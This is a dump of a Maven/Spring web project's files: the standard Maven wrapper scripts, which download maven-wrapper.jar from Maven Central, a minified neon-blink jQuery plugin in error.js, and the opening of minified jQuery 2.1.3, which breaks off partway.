delims==" %%A IN ("%MAVEN_PROJECTBASEDIR%\.mvn\wrapper\maven-wrapper.properties") DO ( 126 | IF "%%A"=="wrapperUrl" SET DOWNLOAD_URL=%%B 127 | ) 128 | 129 | @REM Extension to allow automatically downloading the maven-wrapper.jar from Maven-central 130 | @REM This allows using the maven wrapper in projects that prohibit checking in binary data. 131 | if exist %WRAPPER_JAR% ( 132 | if "%MVNW_VERBOSE%" == "true" ( 133 | echo Found %WRAPPER_JAR% 134 | ) 135 | ) else ( 136 | if not "%MVNW_REPOURL%" == "" ( 137 | SET DOWNLOAD_URL="%MVNW_REPOURL%/org/apache/maven/wrapper/maven-wrapper/3.1.0/maven-wrapper-3.1.0.jar" 138 | ) 139 | if "%MVNW_VERBOSE%" == "true" ( 140 | echo Couldn't find %WRAPPER_JAR%, downloading it ... 141 | echo Downloading from: %DOWNLOAD_URL% 142 | ) 143 | 144 | powershell -Command "&{"^ 145 | "$webclient = new-object System.Net.WebClient;"^ 146 | "if (-not ([string]::IsNullOrEmpty('%MVNW_USERNAME%') -and [string]::IsNullOrEmpty('%MVNW_PASSWORD%'))) {"^ 147 | "$webclient.Credentials = new-object System.Net.NetworkCredential('%MVNW_USERNAME%', '%MVNW_PASSWORD%');"^ 148 | "}"^ 149 | "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; $webclient.DownloadFile('%DOWNLOAD_URL%', '%WRAPPER_JAR%')"^ 150 | "}" 151 | if "%MVNW_VERBOSE%" == "true" ( 152 | echo Finished downloading %WRAPPER_JAR% 153 | ) 154 | ) 155 | @REM End of extension 156 | 157 | @REM Provide a "standardized" way to retrieve the CLI args that will 158 | @REM work with both Windows and non-Windows executions. 159 | set MAVEN_CMD_LINE_ARGS=%* 160 | 161 | %MAVEN_JAVA_EXE% ^ 162 | %JVM_CONFIG_MAVEN_PROPS% ^ 163 | %MAVEN_OPTS% ^ 164 | %MAVEN_DEBUG_OPTS% ^ 165 | -classpath %WRAPPER_JAR% ^ 166 | "-Dmaven.multiModuleProjectDirectory=%MAVEN_PROJECTBASEDIR%" ^ 167 | %WRAPPER_LAUNCHER% %MAVEN_CONFIG% %* 168 | if ERRORLEVEL 1 goto error 169 | goto end 170 | 171 | :error 172 | set ERROR_CODE=1 173 | 174 | :end 175 | @endlocal & set ERROR_CODE=%ERROR_CODE% 176 | 177 | if not "%MAVEN_SKIP_RC%"=="" goto skipRcPost 178 | @REM check for post script, once with legacy .bat ending and once with .cmd ending 179 | if exist "%USERPROFILE%\mavenrc_post.bat" call "%USERPROFILE%\mavenrc_post.bat" 180 | if exist "%USERPROFILE%\mavenrc_post.cmd" call "%USERPROFILE%\mavenrc_post.cmd" 181 | :skipRcPost 182 | 183 | @REM pause the script if MAVEN_BATCH_PAUSE is set to 'on' 184 | if "%MAVEN_BATCH_PAUSE%"=="on" pause 185 | 186 | if "%MAVEN_TERMINATE_CMD%"=="on" exit %ERROR_CODE% 187 | 188 | cmd /C exit /B %ERROR_CODE% 189 | -------------------------------------------------------------------------------- /src/main/resources/static/js/error.js: -------------------------------------------------------------------------------- 1 | (function() { 2 | //novacancy.min.js 3 | (function(e){"use strict";var t=function(t,n){this._el=e(t);if(this.repeat())return true;this._settings=n;this._powerOn=false;this._loopTimeout=0;this._el.html(this.buildHTML());this._items=this._el.find("span.novacancy");this._blinkArr=this.arrayMake();this.bindEvent();this.writeCSS();if(this._settings.autoOn)this.blinkOn()};t.prototype.repeat=function(){var e=this._el;if(e[0].novacancy){return true}else{e[0].novacancy=true;return false}};t.prototype.writeCSS=function(){var t=this.css();var n=e("");e("body").append(n)};t.prototype.selector=function(){var e=this._el;var t=e[0].tagName;if(e[0].id)t+="#"+e[0].id;if(e[0].className)t+="."+e[0].className;return t};t.prototype.css=function(){var e=this.selector();var t=this._settings;var n="text-shadow: "+t.glow.toString()+";";var r="color: "+t.color+";"+n;var i="color: "+t.color+"; opacity: 0.3;";var s="";s+=e+" .novacancy.on { "+r+" }"+"\n";s+=e+" .novacancy.off { "+i+" }"+"\n";return s};t.prototype.rand=function(e,t){return Math.floor(Math.random()*(t-e+1)+e)};t.prototype.isNumber=function(e){return!isNaN(parseFloat(e))&&isFinite(e)};t.prototype.blink=function(e){var t=this._settings;var n=this;this.off(e);e[0].blinking=true;setTimeout(function(){n.on(e);e[0].blinking=false;n.reblink(e)},this.rand(t.blinkMin,t.blinkMax))};t.prototype.reblink=function(e){var t=this._settings;var n=this;setTimeout(function(){if(n.rand(1,100)<=t.reblinkProbability){n.blink(e)}},this.rand(t.blinkMin,t.blinkMax))};t.prototype.on=function(e){e.removeClass("off").addClass("on")};t.prototype.off=function(e){e.removeClass("on").addClass("off")};t.prototype.buildHTML=function(){var t=this._el;var n="";e.each(t.contents(),function(t,r){if(r.nodeType==3){var i=r.nodeValue.split("");e.each(i,function(e,t){n+=''+t+""})}else{n+=r.outerHTML}});return n};t.prototype.arrayMake=function(){var t=this._el;var n=this._settings;var r=this._items;var i=r.length;var s=this.randomArray(i);var o;var u;var a=n.off;var f=n.blink;var l=this;a=Math.min(a,i);a=Math.max(0,a);u=s.splice(0,a);e.each(u,function(t,n){l.off(e(r[n]))});f=f===0?i:f;f=Math.min(f,i-a);f=Math.max(0,f);o=s.splice(0,f);return o};t.prototype.randomArray=function(e){var t=[];var n;var r;var i;for(n=0;n 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | 110 | 111 | 112 | 113 | 114 | 115 | 116 | 117 | 118 | 119 | -------------------------------------------------------------------------------- /mvnw: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | # ---------------------------------------------------------------------------- 3 | # Licensed to the Apache Software Foundation (ASF) under one 4 | # or more contributor license agreements. See the NOTICE file 5 | # distributed with this work for additional information 6 | # regarding copyright ownership. The ASF licenses this file 7 | # to you under the Apache License, Version 2.0 (the 8 | # "License"); you may not use this file except in compliance 9 | # with the License. You may obtain a copy of the License at 10 | # 11 | # https://www.apache.org/licenses/LICENSE-2.0 12 | # 13 | # Unless required by applicable law or agreed to in writing, 14 | # software distributed under the License is distributed on an 15 | # "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY 16 | # KIND, either express or implied. See the License for the 17 | # specific language governing permissions and limitations 18 | # under the License. 19 | # ---------------------------------------------------------------------------- 20 | 21 | # ---------------------------------------------------------------------------- 22 | # Maven Start Up Batch script 23 | # 24 | # Required ENV vars: 25 | # ------------------ 26 | # JAVA_HOME - location of a JDK home dir 27 | # 28 | # Optional ENV vars 29 | # ----------------- 30 | # M2_HOME - location of maven2's installed home dir 31 | # MAVEN_OPTS - parameters passed to the Java VM when running Maven 32 | # e.g. to debug Maven itself, use 33 | # set MAVEN_OPTS=-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=8000 34 | # MAVEN_SKIP_RC - flag to disable loading of mavenrc files 35 | # ---------------------------------------------------------------------------- 36 | 37 | if [ -z "$MAVEN_SKIP_RC" ] ; then 38 | 39 | if [ -f /usr/local/etc/mavenrc ] ; then 40 | . /usr/local/etc/mavenrc 41 | fi 42 | 43 | if [ -f /etc/mavenrc ] ; then 44 | . /etc/mavenrc 45 | fi 46 | 47 | if [ -f "$HOME/.mavenrc" ] ; then 48 | . "$HOME/.mavenrc" 49 | fi 50 | 51 | fi 52 | 53 | # OS specific support. $var _must_ be set to either true or false. 54 | cygwin=false; 55 | darwin=false; 56 | mingw=false 57 | case "`uname`" in 58 | CYGWIN*) cygwin=true ;; 59 | MINGW*) mingw=true;; 60 | Darwin*) darwin=true 61 | # Use /usr/libexec/java_home if available, otherwise fall back to /Library/Java/Home 62 | # See https://developer.apple.com/library/mac/qa/qa1170/_index.html 63 | if [ -z "$JAVA_HOME" ]; then 64 | if [ -x "/usr/libexec/java_home" ]; then 65 | export JAVA_HOME="`/usr/libexec/java_home`" 66 | else 67 | export JAVA_HOME="/Library/Java/Home" 68 | fi 69 | fi 70 | ;; 71 | esac 72 | 73 | if [ -z "$JAVA_HOME" ] ; then 74 | if [ -r /etc/gentoo-release ] ; then 75 | JAVA_HOME=`java-config --jre-home` 76 | fi 77 | fi 78 | 79 | if [ -z "$M2_HOME" ] ; then 80 | ## resolve links - $0 may be a link to maven's home 81 | PRG="$0" 82 | 83 | # need this for relative symlinks 84 | while [ -h "$PRG" ] ; do 85 | ls=`ls -ld "$PRG"` 86 | link=`expr "$ls" : '.*-> \(.*\)$'` 87 | if expr "$link" : '/.*' > /dev/null; then 88 | PRG="$link" 89 | else 90 | PRG="`dirname "$PRG"`/$link" 91 | fi 92 | done 93 | 94 | saveddir=`pwd` 95 | 96 | M2_HOME=`dirname "$PRG"`/.. 97 | 98 | # make it fully qualified 99 | M2_HOME=`cd "$M2_HOME" && pwd` 100 | 101 | cd "$saveddir" 102 | # echo Using m2 at $M2_HOME 103 | fi 104 | 105 | # For Cygwin, ensure paths are in UNIX format before anything is touched 106 | if $cygwin ; then 107 | [ -n "$M2_HOME" ] && 108 | M2_HOME=`cygpath --unix "$M2_HOME"` 109 | [ -n "$JAVA_HOME" ] && 110 | JAVA_HOME=`cygpath --unix "$JAVA_HOME"` 111 | [ -n "$CLASSPATH" ] && 112 | CLASSPATH=`cygpath --path --unix "$CLASSPATH"` 113 | fi 114 | 115 | # For Mingw, ensure paths are in UNIX format before anything is touched 116 | if $mingw ; then 117 | [ -n "$M2_HOME" ] && 118 | M2_HOME="`(cd "$M2_HOME"; pwd)`" 119 | [ -n "$JAVA_HOME" ] && 120 | JAVA_HOME="`(cd "$JAVA_HOME"; pwd)`" 121 | fi 122 | 123 | if [ -z "$JAVA_HOME" ]; then 124 | javaExecutable="`which javac`" 125 | if [ -n "$javaExecutable" ] && ! [ "`expr \"$javaExecutable\" : '\([^ ]*\)'`" = "no" ]; then 126 | # readlink(1) is not available as standard on Solaris 10. 127 | readLink=`which readlink` 128 | if [ ! `expr "$readLink" : '\([^ ]*\)'` = "no" ]; then 129 | if $darwin ; then 130 | javaHome="`dirname \"$javaExecutable\"`" 131 | javaExecutable="`cd \"$javaHome\" && pwd -P`/javac" 132 | else 133 | javaExecutable="`readlink -f \"$javaExecutable\"`" 134 | fi 135 | javaHome="`dirname \"$javaExecutable\"`" 136 | javaHome=`expr "$javaHome" : '\(.*\)/bin'` 137 | JAVA_HOME="$javaHome" 138 | export JAVA_HOME 139 | fi 140 | fi 141 | fi 142 | 143 | if [ -z "$JAVACMD" ] ; then 144 | if [ -n "$JAVA_HOME" ] ; then 145 | if [ -x "$JAVA_HOME/jre/sh/java" ] ; then 146 | # IBM's JDK on AIX uses strange locations for the executables 147 | JAVACMD="$JAVA_HOME/jre/sh/java" 148 | else 149 | JAVACMD="$JAVA_HOME/bin/java" 150 | fi 151 | else 152 | JAVACMD="`\\unset -f command; \\command -v java`" 153 | fi 154 | fi 155 | 156 | if [ ! -x "$JAVACMD" ] ; then 157 | echo "Error: JAVA_HOME is not defined correctly." >&2 158 | echo " We cannot execute $JAVACMD" >&2 159 | exit 1 160 | fi 161 | 162 | if [ -z "$JAVA_HOME" ] ; then 163 | echo "Warning: JAVA_HOME environment variable is not set." 164 | fi 165 | 166 | CLASSWORLDS_LAUNCHER=org.codehaus.plexus.classworlds.launcher.Launcher 167 | 168 | # traverses directory structure from process work directory to filesystem root 169 | # first directory with .mvn subdirectory is considered project base directory 170 | find_maven_basedir() { 171 | 172 | if [ -z "$1" ] 173 | then 174 | echo "Path not specified to find_maven_basedir" 175 | return 1 176 | fi 177 | 178 | basedir="$1" 179 | wdir="$1" 180 | while [ "$wdir" != '/' ] ; do 181 | if [ -d "$wdir"/.mvn ] ; then 182 | basedir=$wdir 183 | break 184 | fi 185 | # workaround for JBEAP-8937 (on Solaris 10/Sparc) 186 | if [ -d "${wdir}" ]; then 187 | wdir=`cd "$wdir/.."; pwd` 188 | fi 189 | # end of workaround 190 | done 191 | echo "${basedir}" 192 | } 193 | 194 | # concatenates all lines of a file 195 | concat_lines() { 196 | if [ -f "$1" ]; then 197 | echo "$(tr -s '\n' ' ' < "$1")" 198 | fi 199 | } 200 | 201 | BASE_DIR=`find_maven_basedir "$(pwd)"` 202 | if [ -z "$BASE_DIR" ]; then 203 | exit 1; 204 | fi 205 | 206 | ########################################################################################## 207 | # Extension to allow automatically downloading the maven-wrapper.jar from Maven-central 208 | # This allows using the maven wrapper in projects that prohibit checking in binary data. 209 | ########################################################################################## 210 | if [ -r "$BASE_DIR/.mvn/wrapper/maven-wrapper.jar" ]; then 211 | if [ "$MVNW_VERBOSE" = true ]; then 212 | echo "Found .mvn/wrapper/maven-wrapper.jar" 213 | fi 214 | else 215 | if [ "$MVNW_VERBOSE" = true ]; then 216 | echo "Couldn't find .mvn/wrapper/maven-wrapper.jar, downloading it ..." 217 | fi 218 | if [ -n "$MVNW_REPOURL" ]; then 219 | jarUrl="$MVNW_REPOURL/org/apache/maven/wrapper/maven-wrapper/3.1.0/maven-wrapper-3.1.0.jar" 220 | else 221 | jarUrl="https://repo.maven.apache.org/maven2/org/apache/maven/wrapper/maven-wrapper/3.1.0/maven-wrapper-3.1.0.jar" 222 | fi 223 | while IFS="=" read key value; do 224 | case "$key" in (wrapperUrl) jarUrl="$value"; break ;; 225 | esac 226 | done < "$BASE_DIR/.mvn/wrapper/maven-wrapper.properties" 227 | if [ "$MVNW_VERBOSE" = true ]; then 228 | echo "Downloading from: $jarUrl" 229 | fi 230 | wrapperJarPath="$BASE_DIR/.mvn/wrapper/maven-wrapper.jar" 231 | if $cygwin; then 232 | wrapperJarPath=`cygpath --path --windows "$wrapperJarPath"` 233 | fi 234 | 235 | if command -v wget > /dev/null; then 236 | if [ "$MVNW_VERBOSE" = true ]; then 237 | echo "Found wget ... using wget" 238 | fi 239 | if [ -z "$MVNW_USERNAME" ] || [ -z "$MVNW_PASSWORD" ]; then 240 | wget "$jarUrl" -O "$wrapperJarPath" || rm -f "$wrapperJarPath" 241 | else 242 | wget --http-user=$MVNW_USERNAME --http-password=$MVNW_PASSWORD "$jarUrl" -O "$wrapperJarPath" || rm -f "$wrapperJarPath" 243 | fi 244 | elif command -v curl > /dev/null; then 245 | if [ "$MVNW_VERBOSE" = true ]; then 246 | echo "Found curl ... using curl" 247 | fi 248 | if [ -z "$MVNW_USERNAME" ] || [ -z "$MVNW_PASSWORD" ]; then 249 | curl -o "$wrapperJarPath" "$jarUrl" -f 250 | else 251 | curl --user $MVNW_USERNAME:$MVNW_PASSWORD -o "$wrapperJarPath" "$jarUrl" -f 252 | fi 253 | 254 | else 255 | if [ "$MVNW_VERBOSE" = true ]; then 256 | echo "Falling back to using Java to download" 257 | fi 258 | javaClass="$BASE_DIR/.mvn/wrapper/MavenWrapperDownloader.java" 259 | # For Cygwin, switch paths to Windows format before running javac 260 | if $cygwin; then 261 | javaClass=`cygpath --path --windows "$javaClass"` 262 | fi 263 | if [ -e "$javaClass" ]; then 264 | if [ ! -e "$BASE_DIR/.mvn/wrapper/MavenWrapperDownloader.class" ]; then 265 | if [ "$MVNW_VERBOSE" = true ]; then 266 | echo " - Compiling MavenWrapperDownloader.java ..." 267 | fi 268 | # Compiling the Java class 269 | ("$JAVA_HOME/bin/javac" "$javaClass") 270 | fi 271 | if [ -e "$BASE_DIR/.mvn/wrapper/MavenWrapperDownloader.class" ]; then 272 | # Running the downloader 273 | if [ "$MVNW_VERBOSE" = true ]; then 274 | echo " - Running MavenWrapperDownloader.java ..." 275 | fi 276 | ("$JAVA_HOME/bin/java" -cp .mvn/wrapper MavenWrapperDownloader "$MAVEN_PROJECTBASEDIR") 277 | fi 278 | fi 279 | fi 280 | fi 281 | ########################################################################################## 282 | # End of extension 283 | ########################################################################################## 284 | 285 | export MAVEN_PROJECTBASEDIR=${MAVEN_BASEDIR:-"$BASE_DIR"} 286 | if [ "$MVNW_VERBOSE" = true ]; then 287 | echo $MAVEN_PROJECTBASEDIR 288 | fi 289 | MAVEN_OPTS="$(concat_lines "$MAVEN_PROJECTBASEDIR/.mvn/jvm.config") $MAVEN_OPTS" 290 | 291 | # For Cygwin, switch paths to Windows format before running java 292 | if $cygwin; then 293 | [ -n "$M2_HOME" ] && 294 | M2_HOME=`cygpath --path --windows "$M2_HOME"` 295 | [ -n "$JAVA_HOME" ] && 296 | JAVA_HOME=`cygpath --path --windows "$JAVA_HOME"` 297 | [ -n "$CLASSPATH" ] && 298 | CLASSPATH=`cygpath --path --windows "$CLASSPATH"` 299 | [ -n "$MAVEN_PROJECTBASEDIR" ] && 300 | MAVEN_PROJECTBASEDIR=`cygpath --path --windows "$MAVEN_PROJECTBASEDIR"` 301 | fi 302 | 303 | # Provide a "standardized" way to retrieve the CLI args that will 304 | # work with both Windows and non-Windows executions. 305 | MAVEN_CMD_LINE_ARGS="$MAVEN_CONFIG $@" 306 | export MAVEN_CMD_LINE_ARGS 307 | 308 | WRAPPER_LAUNCHER=org.apache.maven.wrapper.MavenWrapperMain 309 | 310 | exec "$JAVACMD" \ 311 | $MAVEN_OPTS \ 312 | $MAVEN_DEBUG_OPTS \ 313 | -classpath "$MAVEN_PROJECTBASEDIR/.mvn/wrapper/maven-wrapper.jar" \ 314 | "-Dmaven.home=${M2_HOME}" \ 315 | "-Dmaven.multiModuleProjectDirectory=${MAVEN_PROJECTBASEDIR}" \ 316 | ${WRAPPER_LAUNCHER} $MAVEN_CONFIG "$@" 317 | -------------------------------------------------------------------------------- /src/main/resources/static/js/jquery/2.1.3/jquery.min.js: -------------------------------------------------------------------------------- 1 | /*! jQuery v2.1.3 | (c) 2005, 2014 jQuery Foundation, Inc. | jquery.org/license */ 2 | !function(a,b){"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){var c=[],d=c.slice,e=c.concat,f=c.push,g=c.indexOf,h={},i=h.toString,j=h.hasOwnProperty,k={},l=a.document,m="2.1.3",n=function(a,b){return new n.fn.init(a,b)},o=/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g,p=/^-ms-/,q=/-([\da-z])/gi,r=function(a,b){return b.toUpperCase()};n.fn=n.prototype={jquery:m,constructor:n,selector:"",length:0,toArray:function(){return d.call(this)},get:function(a){return null!=a?0>a?this[a+this.length]:this[a]:d.call(this)},pushStack:function(a){var b=n.merge(this.constructor(),a);return b.prevObject=this,b.context=this.context,b},each:function(a,b){return n.each(this,a,b)},map:function(a){return this.pushStack(n.map(this,function(b,c){return a.call(b,c,b)}))},slice:function(){return this.pushStack(d.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(a){var b=this.length,c=+a+(0>a?b:0);return this.pushStack(c>=0&&b>c?[this[c]]:[])},end:function(){return this.prevObject||this.constructor(null)},push:f,sort:c.sort,splice:c.splice},n.extend=n.fn.extend=function(){var a,b,c,d,e,f,g=arguments[0]||{},h=1,i=arguments.length,j=!1;for("boolean"==typeof g&&(j=g,g=arguments[h]||{},h++),"object"==typeof g||n.isFunction(g)||(g={}),h===i&&(g=this,h--);i>h;h++)if(null!=(a=arguments[h]))for(b in a)c=g[b],d=a[b],g!==d&&(j&&d&&(n.isPlainObject(d)||(e=n.isArray(d)))?(e?(e=!1,f=c&&n.isArray(c)?c:[]):f=c&&n.isPlainObject(c)?c:{},g[b]=n.extend(j,f,d)):void 0!==d&&(g[b]=d));return g},n.extend({expando:"jQuery"+(m+Math.random()).replace(/\D/g,""),isReady:!0,error:function(a){throw new Error(a)},noop:function(){},isFunction:function(a){return"function"===n.type(a)},isArray:Array.isArray,isWindow:function(a){return null!=a&&a===a.window},isNumeric:function(a){return!n.isArray(a)&&a-parseFloat(a)+1>=0},isPlainObject:function(a){return"object"!==n.type(a)||a.nodeType||n.isWindow(a)?!1:a.constructor&&!j.call(a.constructor.prototype,"isPrototypeOf")?!1:!0},isEmptyObject:function(a){var b;for(b in a)return!1;return!0},type:function(a){return null==a?a+"":"object"==typeof a||"function"==typeof a?h[i.call(a)]||"object":typeof a},globalEval:function(a){var b,c=eval;a=n.trim(a),a&&(1===a.indexOf("use strict")?(b=l.createElement("script"),b.text=a,l.head.appendChild(b).parentNode.removeChild(b)):c(a))},camelCase:function(a){return a.replace(p,"ms-").replace(q,r)},nodeName:function(a,b){return a.nodeName&&a.nodeName.toLowerCase()===b.toLowerCase()},each:function(a,b,c){var d,e=0,f=a.length,g=s(a);if(c){if(g){for(;f>e;e++)if(d=b.apply(a[e],c),d===!1)break}else for(e in a)if(d=b.apply(a[e],c),d===!1)break}else if(g){for(;f>e;e++)if(d=b.call(a[e],e,a[e]),d===!1)break}else for(e in a)if(d=b.call(a[e],e,a[e]),d===!1)break;return a},trim:function(a){return null==a?"":(a+"").replace(o,"")},makeArray:function(a,b){var c=b||[];return null!=a&&(s(Object(a))?n.merge(c,"string"==typeof a?[a]:a):f.call(c,a)),c},inArray:function(a,b,c){return null==b?-1:g.call(b,a,c)},merge:function(a,b){for(var c=+b.length,d=0,e=a.length;c>d;d++)a[e++]=b[d];return a.length=e,a},grep:function(a,b,c){for(var d,e=[],f=0,g=a.length,h=!c;g>f;f++)d=!b(a[f],f),d!==h&&e.push(a[f]);return e},map:function(a,b,c){var d,f=0,g=a.length,h=s(a),i=[];if(h)for(;g>f;f++)d=b(a[f],f,c),null!=d&&i.push(d);else for(f in a)d=b(a[f],f,c),null!=d&&i.push(d);return e.apply([],i)},guid:1,proxy:function(a,b){var c,e,f;return"string"==typeof b&&(c=a[b],b=a,a=c),n.isFunction(a)?(e=d.call(arguments,2),f=function(){return a.apply(b||this,e.concat(d.call(arguments)))},f.guid=a.guid=a.guid||n.guid++,f):void 0},now:Date.now,support:k}),n.each("Boolean Number String Function Array Date RegExp Object Error".split(" "),function(a,b){h["[object "+b+"]"]=b.toLowerCase()});function s(a){var b=a.length,c=n.type(a);return"function"===c||n.isWindow(a)?!1:1===a.nodeType&&b?!0:"array"===c||0===b||"number"==typeof b&&b>0&&b-1 in a}var t=function(a){var b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u="sizzle"+1*new Date,v=a.document,w=0,x=0,y=hb(),z=hb(),A=hb(),B=function(a,b){return a===b&&(l=!0),0},C=1<<31,D={}.hasOwnProperty,E=[],F=E.pop,G=E.push,H=E.push,I=E.slice,J=function(a,b){for(var c=0,d=a.length;d>c;c++)if(a[c]===b)return c;return-1},K="checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped",L="[\\x20\\t\\r\\n\\f]",M="(?:\\\\.|[\\w-]|[^\\x00-\\xa0])+",N=M.replace("w","w#"),O="\\["+L+"*("+M+")(?:"+L+"*([*^$|!~]?=)"+L+"*(?:'((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\"|("+N+"))|)"+L+"*\\]",P=":("+M+")(?:\\((('((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\")|((?:\\\\.|[^\\\\()[\\]]|"+O+")*)|.*)\\)|)",Q=new RegExp(L+"+","g"),R=new RegExp("^"+L+"+|((?:^|[^\\\\])(?:\\\\.)*)"+L+"+$","g"),S=new RegExp("^"+L+"*,"+L+"*"),T=new RegExp("^"+L+"*([>+~]|"+L+")"+L+"*"),U=new RegExp("="+L+"*([^\\]'\"]*?)"+L+"*\\]","g"),V=new RegExp(P),W=new RegExp("^"+N+"$"),X={ID:new RegExp("^#("+M+")"),CLASS:new RegExp("^\\.("+M+")"),TAG:new RegExp("^("+M.replace("w","w*")+")"),ATTR:new RegExp("^"+O),PSEUDO:new RegExp("^"+P),CHILD:new RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\("+L+"*(even|odd|(([+-]|)(\\d*)n|)"+L+"*(?:([+-]|)"+L+"*(\\d+)|))"+L+"*\\)|)","i"),bool:new RegExp("^(?:"+K+")$","i"),needsContext:new RegExp("^"+L+"*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\("+L+"*((?:-\\d)?\\d*)"+L+"*\\)|)(?=[^-]|$)","i")},Y=/^(?:input|select|textarea|button)$/i,Z=/^h\d$/i,$=/^[^{]+\{\s*\[native \w/,_=/^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,ab=/[+~]/,bb=/'|\\/g,cb=new RegExp("\\\\([\\da-f]{1,6}"+L+"?|("+L+")|.)","ig"),db=function(a,b,c){var d="0x"+b-65536;return d!==d||c?b:0>d?String.fromCharCode(d+65536):String.fromCharCode(d>>10|55296,1023&d|56320)},eb=function(){m()};try{H.apply(E=I.call(v.childNodes),v.childNodes),E[v.childNodes.length].nodeType}catch(fb){H={apply:E.length?function(a,b){G.apply(a,I.call(b))}:function(a,b){var c=a.length,d=0;while(a[c++]=b[d++]);a.length=c-1}}}function gb(a,b,d,e){var f,h,j,k,l,o,r,s,w,x;if((b?b.ownerDocument||b:v)!==n&&m(b),b=b||n,d=d||[],k=b.nodeType,"string"!=typeof a||!a||1!==k&&9!==k&&11!==k)return d;if(!e&&p){if(11!==k&&(f=_.exec(a)))if(j=f[1]){if(9===k){if(h=b.getElementById(j),!h||!h.parentNode)return d;if(h.id===j)return d.push(h),d}else if(b.ownerDocument&&(h=b.ownerDocument.getElementById(j))&&t(b,h)&&h.id===j)return d.push(h),d}else{if(f[2])return H.apply(d,b.getElementsByTagName(a)),d;if((j=f[3])&&c.getElementsByClassName)return H.apply(d,b.getElementsByClassName(j)),d}if(c.qsa&&(!q||!q.test(a))){if(s=r=u,w=b,x=1!==k&&a,1===k&&"object"!==b.nodeName.toLowerCase()){o=g(a),(r=b.getAttribute("id"))?s=r.replace(bb,"\\$&"):b.setAttribute("id",s),s="[id='"+s+"'] ",l=o.length;while(l--)o[l]=s+rb(o[l]);w=ab.test(a)&&pb(b.parentNode)||b,x=o.join(",")}if(x)try{return H.apply(d,w.querySelectorAll(x)),d}catch(y){}finally{r||b.removeAttribute("id")}}}return i(a.replace(R,"$1"),b,d,e)}function hb(){var a=[];function b(c,e){return a.push(c+" ")>d.cacheLength&&delete b[a.shift()],b[c+" "]=e}return b}function ib(a){return a[u]=!0,a}function jb(a){var b=n.createElement("div");try{return!!a(b)}catch(c){return!1}finally{b.parentNode&&b.parentNode.removeChild(b),b=null}}function kb(a,b){var c=a.split("|"),e=a.length;while(e--)d.attrHandle[c[e]]=b}function lb(a,b){var c=b&&a,d=c&&1===a.nodeType&&1===b.nodeType&&(~b.sourceIndex||C)-(~a.sourceIndex||C);if(d)return d;if(c)while(c=c.nextSibling)if(c===b)return-1;return a?1:-1}function mb(a){return function(b){var c=b.nodeName.toLowerCase();return"input"===c&&b.type===a}}function nb(a){return function(b){var c=b.nodeName.toLowerCase();return("input"===c||"button"===c)&&b.type===a}}function ob(a){return ib(function(b){return b=+b,ib(function(c,d){var e,f=a([],c.length,b),g=f.length;while(g--)c[e=f[g]]&&(c[e]=!(d[e]=c[e]))})})}function pb(a){return a&&"undefined"!=typeof a.getElementsByTagName&&a}c=gb.support={},f=gb.isXML=function(a){var b=a&&(a.ownerDocument||a).documentElement;return b?"HTML"!==b.nodeName:!1},m=gb.setDocument=function(a){var b,e,g=a?a.ownerDocument||a:v;return g!==n&&9===g.nodeType&&g.documentElement?(n=g,o=g.documentElement,e=g.defaultView,e&&e!==e.top&&(e.addEventListener?e.addEventListener("unload",eb,!1):e.attachEvent&&e.attachEvent("onunload",eb)),p=!f(g),c.attributes=jb(function(a){return a.className="i",!a.getAttribute("className")}),c.getElementsByTagName=jb(function(a){return a.appendChild(g.createComment("")),!a.getElementsByTagName("*").length}),c.getElementsByClassName=$.test(g.getElementsByClassName),c.getById=jb(function(a){return o.appendChild(a).id=u,!g.getElementsByName||!g.getElementsByName(u).length}),c.getById?(d.find.ID=function(a,b){if("undefined"!=typeof b.getElementById&&p){var c=b.getElementById(a);return c&&c.parentNode?[c]:[]}},d.filter.ID=function(a){var b=a.replace(cb,db);return function(a){return a.getAttribute("id")===b}}):(delete d.find.ID,d.filter.ID=function(a){var b=a.replace(cb,db);return function(a){var c="undefined"!=typeof a.getAttributeNode&&a.getAttributeNode("id");return c&&c.value===b}}),d.find.TAG=c.getElementsByTagName?function(a,b){return"undefined"!=typeof b.getElementsByTagName?b.getElementsByTagName(a):c.qsa?b.querySelectorAll(a):void 0}:function(a,b){var c,d=[],e=0,f=b.getElementsByTagName(a);if("*"===a){while(c=f[e++])1===c.nodeType&&d.push(c);return d}return f},d.find.CLASS=c.getElementsByClassName&&function(a,b){return p?b.getElementsByClassName(a):void 